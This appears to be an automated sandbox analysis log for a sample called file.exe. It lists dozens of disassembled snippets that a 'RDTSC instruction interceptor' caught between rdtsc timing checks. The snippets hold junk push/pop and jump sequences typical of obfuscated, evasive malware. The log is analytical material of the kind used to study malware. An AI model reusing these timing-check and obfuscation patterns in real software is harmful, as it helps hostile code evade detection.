Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B18D second address: 36B1E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F15447FC6ACh 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e add dword ptr [ebp+122D1E30h], ebx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F15447FC6A8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000016h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 stc 0x00000031 push 7531224Fh 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F15447FC6B7h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B1E7 second address: 36B1ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B1ED second address: 36B1F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B1F1 second address: 36B247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 753122CFh 0x0000000f mov esi, dword ptr [ebp+122D369Bh] 0x00000015 push 00000003h 0x00000017 mov dword ptr [ebp+122D2B2Ch], edi 0x0000001d push 00000000h 0x0000001f mov ecx, dword ptr [ebp+122D395Bh] 0x00000025 push 00000003h 0x00000027 pushad 0x00000028 and edi, 2176B729h 0x0000002e movzx ecx, si 0x00000031 popad 0x00000032 call 00007F1544B5F46Eh 0x00000037 mov dword ptr [ebp+122D2B15h], edi 0x0000003d pop ecx 0x0000003e push 7A8BB500h 0x00000043 jne 00007F1544B5F470h 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B247 second address: 36B266 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 45744B00h 0x0000000d lea ebx, dword ptr [ebp+1244FCA3h] 0x00000013 mov edx, 778B425Bh 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e pop edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36B266 second address: 36B27F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1544B5F475h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37BCF4 second address: 37BD05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 push eax 0x00000007 jo 00007F15447FC6B4h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37BD05 second address: 37BD09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38AB17 second address: 38AB1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38AB1B second address: 38AB36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1544B5F475h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38AB36 second address: 38AB40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F15447FC6A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38AB40 second address: 38AB65 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F1544B5F468h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 je 00007F1544B5F46Eh 0x00000017 pushad 0x00000018 popad 0x00000019 jne 00007F1544B5F466h 0x0000001f push eax 0x00000020 push edx 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E49D second address: 34E4A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 ja 00007F15447FC6A6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E4A9 second address: 34E4AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E4AD second address: 34E4BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34E4BB second address: 34E4BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3888DC second address: 388919 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F15447FC6B9h 0x0000000c jnc 00007F15447FC6A6h 0x00000012 jmp 00007F15447FC6B5h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 388BE9 second address: 388C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jno 00007F1544B5F46Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 jc 00007F1544B5F466h 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F1544B5F46Eh 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 388D91 second address: 388DC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jg 00007F15447FC6B2h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F15447FC6B0h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 388DC5 second address: 388DC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38950D second address: 389511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 389665 second address: 389669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 389669 second address: 3896A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F15447FC6B9h 0x0000000f jmp 00007F15447FC6B5h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 389808 second address: 389825 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F1544B5F466h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 jmp 00007F1544B5F46Bh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 389825 second address: 389831 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38998D second address: 389993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 389993 second address: 389999 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 389ADC second address: 389AE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 389AE2 second address: 389B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F15447FC6B7h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37FC85 second address: 37FC8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37FC8D second address: 37FC91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37FC91 second address: 37FC97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37FC97 second address: 37FCA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38A23D second address: 38A24A instructions: 0x00000000 rdtsc 0x00000002 js 00007F1544B5F468h 0x00000008 push edx 0x00000009 pop edx 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38A3DC second address: 38A3F6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F15447FC6A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop ecx 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38A3F6 second address: 38A3FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38A3FA second address: 38A400 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38A400 second address: 38A43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F1544B5F47Dh 0x0000000c jmp 00007F1544B5F475h 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F1544B5F477h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38A43E second address: 38A442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38A442 second address: 38A46C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F472h 0x00000007 jmp 00007F1544B5F470h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38A46C second address: 38A472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EB33 second address: 38EB38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EB38 second address: 38EB3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EB3E second address: 38EB42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EE02 second address: 38EE10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EE10 second address: 38EE17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38FFE3 second address: 390000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b jmp 00007F15447FC6B2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391536 second address: 39153C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39153C second address: 391540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391540 second address: 391555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1544B5F46Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391555 second address: 39155B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396DE6 second address: 396DF9 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1544B5F466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396DF9 second address: 396E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jnl 00007F15447FC6A8h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F15447FC6AAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396212 second address: 39626A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 pop eax 0x00000007 jnp 00007F1544B5F466h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 push ecx 0x00000011 jc 00007F1544B5F466h 0x00000017 pop ecx 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b jmp 00007F1544B5F470h 0x00000020 jmp 00007F1544B5F477h 0x00000025 pushad 0x00000026 pushad 0x00000027 popad 0x00000028 jmp 00007F1544B5F471h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3963C6 second address: 3963CC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3963CC second address: 3963D6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1544B5F46Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39651E second address: 396527 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396527 second address: 39652B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39668F second address: 396695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396695 second address: 39669B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39669B second address: 39669F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396975 second address: 396979 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396C5D second address: 396C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396C61 second address: 396C65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 396C65 second address: 396C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F15447FC6A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jnc 00007F15447FC6A6h 0x00000013 pushad 0x00000014 popad 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399EDE second address: 399EEB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1544B5F466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399EEB second address: 399F42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 xor dword ptr [esp], 35CB93E8h 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F15447FC6A8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov esi, 47051A24h 0x0000002c mov edi, 43B9CD5Ch 0x00000031 call 00007F15447FC6A9h 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F15447FC6B3h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399F42 second address: 399F96 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1544B5F466h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F1544B5F46Dh 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 pushad 0x00000013 jne 00007F1544B5F466h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pop eax 0x0000001d mov eax, dword ptr [esp+04h] 0x00000021 pushad 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 jmp 00007F1544B5F472h 0x0000002a popad 0x0000002b ja 00007F1544B5F468h 0x00000031 popad 0x00000032 mov eax, dword ptr [eax] 0x00000034 pushad 0x00000035 push esi 0x00000036 pushad 0x00000037 popad 0x00000038 pop esi 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39AC07 second address: 39AC0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39AC0B second address: 39AC14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39AC87 second address: 39ACA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jl 00007F15447FC6A8h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F15447FC6ADh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39ACA8 second address: 39ACAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39ACAD second address: 39ACF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15447FC6B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007F15447FC6A8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 push ebx 0x00000025 or di, 0DABh 0x0000002a pop esi 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39ACF0 second address: 39ACF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39ACF5 second address: 39AD0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15447FC6B6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39AE9E second address: 39AEA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39B109 second address: 39B10E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39D287 second address: 39D28B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39D28B second address: 39D28F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39D28F second address: 39D298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39D298 second address: 39D2C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jp 00007F15447FC6C5h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F15447FC6B7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39DDC1 second address: 39DDCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39DAC7 second address: 39DACD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39DACD second address: 39DADC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39DADC second address: 39DAE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39DAE0 second address: 39DAF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1544B5F46Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39E82E second address: 39E833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39F463 second address: 39F486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F1544B5F474h 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39FC77 second address: 39FC7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39FC7B second address: 39FCA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007F1544B5F47Fh 0x00000010 rdtsc
